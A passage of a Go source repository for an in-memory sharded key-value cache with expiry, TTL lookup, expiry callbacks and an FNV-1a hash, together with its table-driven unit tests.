args: args{k: "ex"}, want: 0, want1: false}, 274 | } 275 | c := mockCache() 276 | for _, tt := range tests { 277 | t.Run(tt.name, func(t *testing.T) { 278 | c.Persist(tt.args.k) 279 | got, got1 := c.Ttl(tt.args.k) 280 | if got != tt.want { 281 | t.Errorf("Ttl() got = %v, want %v", got, tt.want) 282 | } 283 | if got1 != tt.want1 { 284 | t.Errorf("Ttl() got1 = %v, want %v", got1, tt.want1) 285 | } 286 | }) 287 | } 288 | } 289 | 290 | func TestMemCache_Set(t *testing.T) { 291 | type args struct { 292 | k string 293 | v interface{} 294 | opts []SetIOption 295 | } 296 | tests := []struct { 297 | name string 298 | args args 299 | want bool 300 | }{ 301 | {name: "int", args: args{k: "int", v: 1}, want: true}, 302 | {name: "int32", args: args{k: "int32", v: int32(2)}, want: true}, 303 | {name: "int64", args: args{k: "int64", v: int64(3)}, want: true}, 304 | } 305 | c := NewMemCache() 306 | for _, tt := range tests { 307 | t.Run(tt.name, func(t *testing.T) { 308 | if got := c.Set(tt.args.k, tt.args.v, tt.args.opts...); got != tt.want { 309 | t.Errorf("Set() = %v, want %v", got, tt.want) 310 | } 311 | }) 312 | } 313 | } 314 | 315 | func TestMemCache_Ttl(t *testing.T) { 316 | type args struct { 317 | k string 318 | } 319 | tests := []struct { 320 | name string 321 | args args 322 | want time.Duration 323 | want1 bool 324 | }{ 325 | {name: "int", args: args{k: "int"}, want: 0, want1: false}, 326 | {name: "ex", args: args{k: "ex"}, want: 1 * time.Second, want1: true}, 327 | {name: "null", args: args{k: "null"}, want: 0, want1: false}, 328 | } 329 | c := mockCache() 330 | for _, tt := range tests { 331 | t.Run(tt.name, func(t *testing.T) { 332 | got, got1 := c.Ttl(tt.args.k) 333 | if tt.want != got && tt.want-got > 10*time.Millisecond { 334 | t.Errorf("Ttl() got = %v, want %v", got, tt.want) 335 | } 336 | if got1 != tt.want1 { 337 | t.Errorf("Ttl() got1 = %v, want %v", got1, tt.want1) 338 | } 339 | }) 340 | } 341 | } 342 | 343 | func TestMemCache_DelExpired(t *testing.T) { 344 | type args struct { 345 | k string 346 | sleep time.Duration 347 | } 348 | tests := []struct { 349 | name string 350 | args args 351 | want bool 352 | }{ 353 | {name: "int", args: args{k: "int"}, want: false}, 354 | {name: "ex", args: args{k: "ex"}, want: false}, 355 | {name: "ex1", args: args{k: "ex", sleep: 1000 * time.Millisecond}, want: true}, 356 | {name: "null", args: args{k: "null"}, want: false}, 357 | } 358 | c := mockCache(WithClearInterval(1 * time.Minute)) 359 | for _, tt := range tests { 360 | t.Run(tt.name, func(t *testing.T) { 361 | time.Sleep(tt.args.sleep) 362 | if got := c.DelExpired(tt.args.k); got != tt.want { 363 | t.Errorf("DelExpired() = %v, want %v", got, tt.want) 364 | } 365 | }) 366 | } 367 | } 368 | 369 | func TestMemCache_ToMap(t *testing.T) { 370 | type args struct { 371 | sleep time.Duration 372 | } 373 | tests := []struct { 374 | name string 375 | args args 376 | want map[string]interface{} 377 | }{ 378 | {name: "base", args: args{sleep: 0}, want: map[string]interface{}{ 379 | "int": 1, 380 | "int32": int32(1), 381 | "int64": int64(1), 382 | "string": "a", 383 | "float64": 1.1, 384 | "float32": float32(1.1), 385 | "ex": 1, 386 | }}, 387 | {name: "expired", args: args{sleep: 1 * time.Second}, want: map[string]interface{}{ 388 | "int": 1, 389 | "int32": int32(1), 390 | "int64": int64(1), 391 | "string": "a", 392 | "float64": 1.1, 393 | "float32": float32(1.1), 394 | }}, 395 | } 396 | c := mockCache() 397 | for _, tt := range tests { 398 | t.Run(tt.name, func(t *testing.T) { 399 | time.Sleep(tt.args.sleep) 400 | if got := c.ToMap(); !reflect.DeepEqual(got, tt.want) { 401 | t.Errorf("ToMap() = %v, want %v", got, tt.want) 402 | } 403 | }) 404 | } 405 | } 406 | 407 | func TestMemCache_Finalize(t *testing.T) { 408 | tests := []struct { 409 | name string 410 | }{ 411 | {name: "1"}, 412 | } 413 | mc := NewMemCache() 414 | mc.Set("a", 1) 415 | mc.Set("b", 1, WithEx(1*time.Nanosecond)) 416 | closed := mc.(*MemCache).closed 417 | mc = nil 418 | runtime.GC() 419 | for _, tt := range tests { 420 | t.Run(tt.name, func(t *testing.T) { 421 | t.Log(<-closed) 422 | }) 423 | } 424 | } 425 | -------------------------------------------------------------------------------- /config.go: -------------------------------------------------------------------------------- 1 | package cache 2 | 3 | import "time" 4 | 5 | type Config struct { 6 | shards int 7 | expiredCallback ExpiredCallback 8 | hash IHash 9 | clearInterval time.Duration 10 | } 11 | 12 | func NewConfig() *Config { 13 | return &Config{shards: 1024, hash: newDefaultHash(), clearInterval: 1 * time.Second} 14 | } 15 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/expensivepi/go-cache 2 | 3 | go 1.15 4 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/expensivepi/go-cache/fd948d039ef5971f35256f5e97eeae0cea55690e/go.sum -------------------------------------------------------------------------------- /hash.go: -------------------------------------------------------------------------------- 1 | package cache 2 | 3 | // IHash is responsible for generating unsigned, 64-bit hash of provided string. IHash should minimize collisions 4 | // (generating same hash for different strings) and while performance is also important fast functions are preferable (i.e. 5 | // you can use FarmHash family). 6 | type IHash interface { 7 | Sum64(string) uint64 8 | } 9 | 10 | // newDefaultHash returns a new 64-bit FNV-1a IHash which makes no memory allocations. 11 | // Its Sum64 method will lay the value out in big-endian byte order. 12 | // See https://en.wikipedia.org/wiki/Fowler–Noll–Vo_hash_function 13 | func newDefaultHash() IHash { 14 | return fnv64a{} 15 | } 16 | 17 | type fnv64a struct{} 18 | 19 | const ( 20 | // offset64 FNVa offset basis. See https://en.wikipedia.org/wiki/Fowler–Noll–Vo_hash_function#FNV-1a_hash 21 | offset64 = 14695981039346656037 22 | // prime64 FNVa prime value. See https://en.wikipedia.org/wiki/Fowler–Noll–Vo_hash_function#FNV-1a_hash 23 | prime64 = 1099511628211 24 | ) 25 | 26 | // Sum64 gets the string and returns its uint64 hash value. 27 | func (f fnv64a) Sum64(key string) uint64 { 28 | var hash uint64 = offset64 29 | for i := 0; i < len(key); i++ { 30 | hash ^= uint64(key[i]) 31 | hash *= prime64 32 | } 33 | 34 | return hash 35 | } 36 | -------------------------------------------------------------------------------- /images/ShyFive_ZH-CN0542113860_1920x1080.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/expensivepi/go-cache/fd948d039ef5971f35256f5e97eeae0cea55690e/images/ShyFive_ZH-CN0542113860_1920x1080.jpg -------------------------------------------------------------------------------- /item.go: -------------------------------------------------------------------------------- 1 | package cache 2 | 3 | import "time" 4 | 5 | type IItem interface { 6 | Expired() bool 7 | CanExpire() bool 8 | SetExpireAt(t time.Time) 9 | } 10 | 11 | type Item struct { 12 | v interface{} 13 | expire time.Time 14 | } 15 | 16 | func (i *Item) Expired() bool { 17 | if !i.CanExpire() { 18 | return false 19 | } 20 | return time.Now().After(i.expire) 21 | } 22 | 23 | func (i *Item) CanExpire() bool { 24 | return !i.expire.IsZero() 25 | } 26 | 27 | func (i *Item) SetExpireAt(t time.Time) { 28 | i.expire = t 29 | } 30 | -------------------------------------------------------------------------------- /option.go: -------------------------------------------------------------------------------- 1 | package cache 2 | 3 | import "time" 4 | 5 | // SetIOption The option used to cache set 6 | type SetIOption func(ICache, string, IItem) bool 7 | 8 | //WithEx Set the specified expire time, in time.Duration. 9 | func WithEx(d time.Duration) SetIOption { 10 | return func(c ICache, k string, v IItem) bool { 11 | v.SetExpireAt(time.Now().Add(d)) 12 | return true 13 | } 14 | } 15 | 16 | //WithExAt Set the specified expire deadline, in time.Time. 17 | func WithExAt(t time.Time) SetIOption { 18 | return func(c ICache, k string, v IItem) bool { 19 | v.SetExpireAt(t) 20 | return true 21 | } 22 | } 23 | 24 | // ICacheOption The option used to create the cache object 25 | type ICacheOption func(conf *Config) 26 | 27 | //WithShards set custom size of sharding. Default is 1024 28 | //The larger the size, the smaller the lock force, the higher the concurrency performance, 29 | //and the higher the memory footprint, so try to choose a size that fits your business scenario 30 | func WithShards(shards int) ICacheOption { 31 | if shards <= 0 { 32 | panic("Invalid shards") 33 | } 34 | return func(conf *Config) { 35 | conf.shards = shards 36 | } 37 | } 38 | 39 | //WithExpiredCallback set custom expired callback function 40 | //This callback function is called when the key-value pair expires 41 | func WithExpiredCallback(ec ExpiredCallback) ICacheOption { 42 | return func(conf *Config) { 43 | conf.expiredCallback = ec 44 | } 45 | } 46 | 47 | //WithHash set custom hash key function 48 | func WithHash(hash IHash) ICacheOption { 49 | return func(conf *Config) { 50 | conf.hash = hash 51 | } 52 | } 53 | 54 | //WithClearInterval set custom clear interval. 55 | //Interval for clearing expired key-value pairs. The default value is 1 second 56 | //If the d is 0, the periodic clearing function is disabled 57 | func WithClearInterval(d time.Duration) ICacheOption { 58 | return func(conf *Config) { 59 | conf.clearInterval = d 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /option_test.go: -------------------------------------------------------------------------------- 1 | package cache 2 | 3 | import ( 4 | "reflect" 5 | "testing" 6 | "time" 7 | ) 8 | 9 | func TestWithEx(t *testing.T) { 10 | type args struct { 11 | key string 12 | v interface{} 13 | opt SetIOption 14 | } 15 | tests := []struct { 16 | name string 17 | args args 18 | sleep time.Duration 19 | want bool 20 | }{ 21 | {name: "int", args: args{key: "intWithEx", v: 1, opt: WithEx(10 * time.Millisecond)}, sleep: 0, want: true}, 22 | {name: "int", args: args{key: "intWithEx", v: 1, opt: WithEx(10 * time.Millisecond)}, sleep: 10 * time.Millisecond, want: false}, 23 | {name: "int", args: args{key: "intWithEx", v: 1, opt: WithEx(100 * time.Millisecond)}, sleep: 50 * time.Millisecond, want: true}, 24 | } 25 | c := mockCache() 26 | for _, tt := range tests { 27 | t.Run(tt.name, func(t *testing.T) { 28 | c.Set(tt.args.key, "v", tt.args.opt) 29 | time.Sleep(tt.sleep) 30 | _, got := c.Get(tt.args.key) 31 | if got != tt.want { 32 | t.Errorf("Get() got = %v, want %v", got, tt.want) 33 | } 34 | }) 35 | } 36 | } 37 | 38 | func TestWithExAt(t *testing.T) { 39 | type args struct { 40 | key string 41 | v interface{} 42 | opt SetIOption 43 | } 44 | tests := []struct { 45 | name string 46 | args args 47 | sleep time.Duration 48 | want bool 49 | }{ 50 | {name: "int", args: args{key: "int", v: 1, opt: WithExAt(time.Now().Add(10 * time.Millisecond))}, sleep: 0, want: true}, 51 | {name: "int", args: args{key: "int", v: 1, opt: WithExAt(time.Now().Add(10 * time.Millisecond))}, sleep: 10 * time.Millisecond, want: false}, 52 | {name: "int", args: args{key: "int", v: 1, opt: WithExAt(time.Now().Add(100 * time.Millisecond))}, sleep: 50 * time.Millisecond, want: true}, 53 | } 54 | c := mockCache() 55 | for _, tt := range tests { 56 | t.Run(tt.name, func(t *testing.T) { 57 | c.Set(tt.args.key, tt.args.v, tt.args.opt) 58 | time.Sleep(tt.sleep) 59 | _, got := c.Get(tt.args.key) 60 | if got != tt.want { 61 | t.Errorf("Get() got = %v, want %v", got, tt.want) 62 | } 63 | }) 64 | } 65 | } 66 | 67 | func TestWithShards(t *testing.T) { 68 | type args struct { 69 | shards int 70 | } 71 | tests := []struct { 72 | name string 73 | args args 74 | }{ 75 | {name: "1", args: args{shards: 1}}, 76 | } 77 | for _, tt := range tests { 78 | t.Run(tt.name, func(t *testing.T) { 79 | c := NewMemCache(WithShards(tt.args.shards)) 80 | if len(c.(*MemCache).shards) != tt.args.shards { 81 | t.Errorf("WithShards() = %v, want %v", len(c.(*MemCache).shards), tt.args.shards) 82 | } 83 | }) 84 | } 85 | } 86 | 87 | func TestWithExpiredCallback(t *testing.T) { 88 | var c ICache 89 | type args struct { 90 | do func() 91 | ec ExpiredCallback 92 | } 93 | tests := []struct { 94 | name string 95 | args args 96 | want func() bool 97 | }{ 98 | {name: "1", 99 | args: args{ 100 | do: func() { 101 | c.Set("1", 1, WithEx(100*time.Millisecond)) 102 | time.Sleep(1100 * time.Millisecond) 103 | }, 104 | ec: func(k string, v interface{}) error { 105 | c.Set(k, 2) 106 | return nil 107 | }}, 108 | want: func() bool { 109 | v, ok := c.Get("1") 110 | if !ok { 111 | return false 112 | } 113 | return 2 == v.(int) 114 | }}, 115 | } 116 | for _, tt := range tests { 117 | t.Run(tt.name, func(t *testing.T) { 118 | c = NewMemCache(WithExpiredCallback(tt.args.ec)) 119 | tt.args.do() 120 | if !tt.want() { 121 | t.Errorf("WithExpiredCallback() = %v, want %v", tt.want(), true) 122 | } 123 | }) 124 | } 125 | } 126 | 127 | type hash1 struct { 128 | } 129 | 130 | func (h hash1) Sum64(s string) uint64 { 131 | return 0 132 | } 133 | 134 | func TestWithHash(t *testing.T) { 135 | var c ICache 136 | type args struct { 137 | hash IHash 138 | } 139 | tests := []struct { 140 | name string 141 | args args 142 | do func() 143 | got func() int 144 | want int 145 | }{ 146 | {name: "1", args: args{hash: hash1{}}, 147 | do: func() { 148 | c.Set("a", 1) 149 | c.Set("b", 1) 150 | c.Set("c", 1) 151 | c.Set("d", 1) 152 | }, 153 | got: func() int { 154 | return len(c.(*MemCache).shards[0].hashmap) 155 | }, 156 | want: 4}, 157 | } 158 | for _, tt := range tests { 159 | t.Run(tt.name, func(t *testing.T) { 160 | c = NewMemCache(WithHash(tt.args.hash)) 161 | tt.do() 162 | if got := tt.got(); !reflect.DeepEqual(got, tt.want) { 163 | t.Errorf("WithHash() = %v, want %v", got, tt.want) 164 | } 165 | }) 166 | } 167 | } 168 | 169 | func TestWithClearInterval(t *testing.T) { 170 | var c ICache 171 | type args struct { 172 | d time.Duration 173 | } 174 | tests := []struct { 175 | name string 176 | args args 177 | got func() interface{} 178 | want interface{} 179 | }{ 180 | {name: "1", args: args{d: 100 * time.Millisecond}, 181 | got: func() interface{} { 182 | c.Set("ex", 1, WithEx(10*time.Millisecond)) 183 | time.Sleep(50 * time.Millisecond) 184 | return c.(*MemCache).shards[0].hashmap["ex"].v 185 | }, want: 1}, 186 | {name: "nil", args: args{d: 100 * time.Millisecond}, 187 | got: func() interface{} { 188 | c.Set("ex", 1, WithEx(10*time.Millisecond)) 189 | time.Sleep(110 * time.Millisecond) 190 | return c.(*MemCache).shards[0].hashmap["ex"].v 191 | }, want: nil}, 192 | {name: "no expire", args: args{d: 0}, 193 | got: func() interface{} { 194 | c.Set("ex", 1, WithEx(10*time.Millisecond)) 195 | time.Sleep(110 * time.Millisecond) 196 | return c.(*MemCache).shards[0].hashmap["ex"].v 197 | }, want: 1}, 198 | } 199 | for _, tt := range tests { 200 | t.Run(tt.name, func(t *testing.T) { 201 | c = mockCache(WithHash(hash1{}), WithClearInterval(tt.args.d)) 202 | if got := tt.got(); !reflect.DeepEqual(got, tt.want) { 203 | t.Errorf("WithClearInterval() = %v, want %v", got, tt.want) 204 | } 205 | }) 206 | } 207 | } 208 | -------------------------------------------------------------------------------- /shard.go: -------------------------------------------------------------------------------- 1 | package cache 2 | 3 | import ( 4 | "sync" 5 | "time" 6 | ) 7 | 8 | // ExpiredCallback Callback the function when the key-value pair expires 9 | // Note that it is executed after expiration 10 | type ExpiredCallback func(k string, v interface{}) error 11 | 12 | type memCacheShard struct { 13 | hashmap map[string]Item 14 | lock sync.RWMutex 15 | expiredCallback ExpiredCallback 16 | } 17 | 18 | func newMemCacheShard(conf *Config) *memCacheShard { 19 | return &memCacheShard{expiredCallback: conf.expiredCallback, hashmap: map[string]Item{}} 20 | } 21 | 22 | func (c *memCacheShard) set(k string, item *Item) { 23 | c.lock.Lock() 24 | c.hashmap[k] = *item 25 | c.lock.Unlock() 26 | return 27 | } 28 | 29 | func (c *memCacheShard) get(k string) (interface{}, bool) { 30 | c.lock.RLock() 31 | item, exist := c.hashmap[k] 32 | c.lock.RUnlock() 33 | if !exist { 34 | return nil, false 35 | } 36 | if !item.Expired() { 37 | return item.v, true 38 | } 39 | if c.delExpired(k) { 40 | return nil, false 41 | } 42 | return c.get(k) 43 | } 44 | 45 | func (c *memCacheShard) getSet(k string, item *Item) (interface{}, bool) { 46 | defer c.set(k, item) 47 | return c.get(k) 48 | } 49 | 50 | func (c *memCacheShard) getDel(k string) (interface{}, bool) { 51 | defer c.del(k) 52 | return c.get(k) 53 | } 54 | 55 | func (c *memCacheShard) del(k string) int { 56 | var count int 57 | c.lock.Lock() 58 | v, found := c.hashmap[k] 59 | if found { 60 | delete(c.hashmap, k) 61 | if !v.Expired() { 62 | count++ 63 | } 64 | } 65 | c.lock.Unlock() 66 | return count 67 | } 68 | 69 | //delExpired Only delete when key expires 70 | func (c *memCacheShard) delExpired(k string) bool { 71 | c.lock.Lock() 72 | item, found := c.hashmap[k] 73 | if !found || !item.Expired() { 74 | c.lock.Unlock() 75 | return false 76 | } 77 | delete(c.hashmap, k) 78 | c.lock.Unlock() 79 | if c.expiredCallback != nil { 80 | _ = c.expiredCallback(k, item.v) 81 | } 82 | return true 83 | } 84 | 85 | func (c *memCacheShard) ttl(k string) (time.Duration, bool) { 86 | c.lock.RLock() 87 | v, found := c.hashmap[k] 88 | c.lock.RUnlock() 89 | if !found || !v.CanExpire() || v.Expired() { 90 | return 0, false 91 | } 92 | return v.expire.Sub(time.Now()), true 93 | } 94 | 95 | func (c *memCacheShard) checkExpire() { 96 | var expiredKeys []string 97 | c.lock.RLock() 98 | for k, item := range c.hashmap { 99 | if item.Expired() { 100 | expiredKeys = append(expiredKeys, k) 101 | } 102 | } 103 | c.lock.RUnlock() 104 | for _, k := range expiredKeys { 105 | c.delExpired(k) 106 | } 107 | } 108 | 109 | func (c *memCacheShard) saveToMap(target map[string]interface{}) { 110 | c.lock.RLock() 111 | for k, item := range c.hashmap { 112 | if item.Expired() { 113 | continue 114 | } 115 | target[k] = item.v 116 | } 117 | c.lock.RUnlock() 118 | } 119 | --------------------------------------------------------------------------------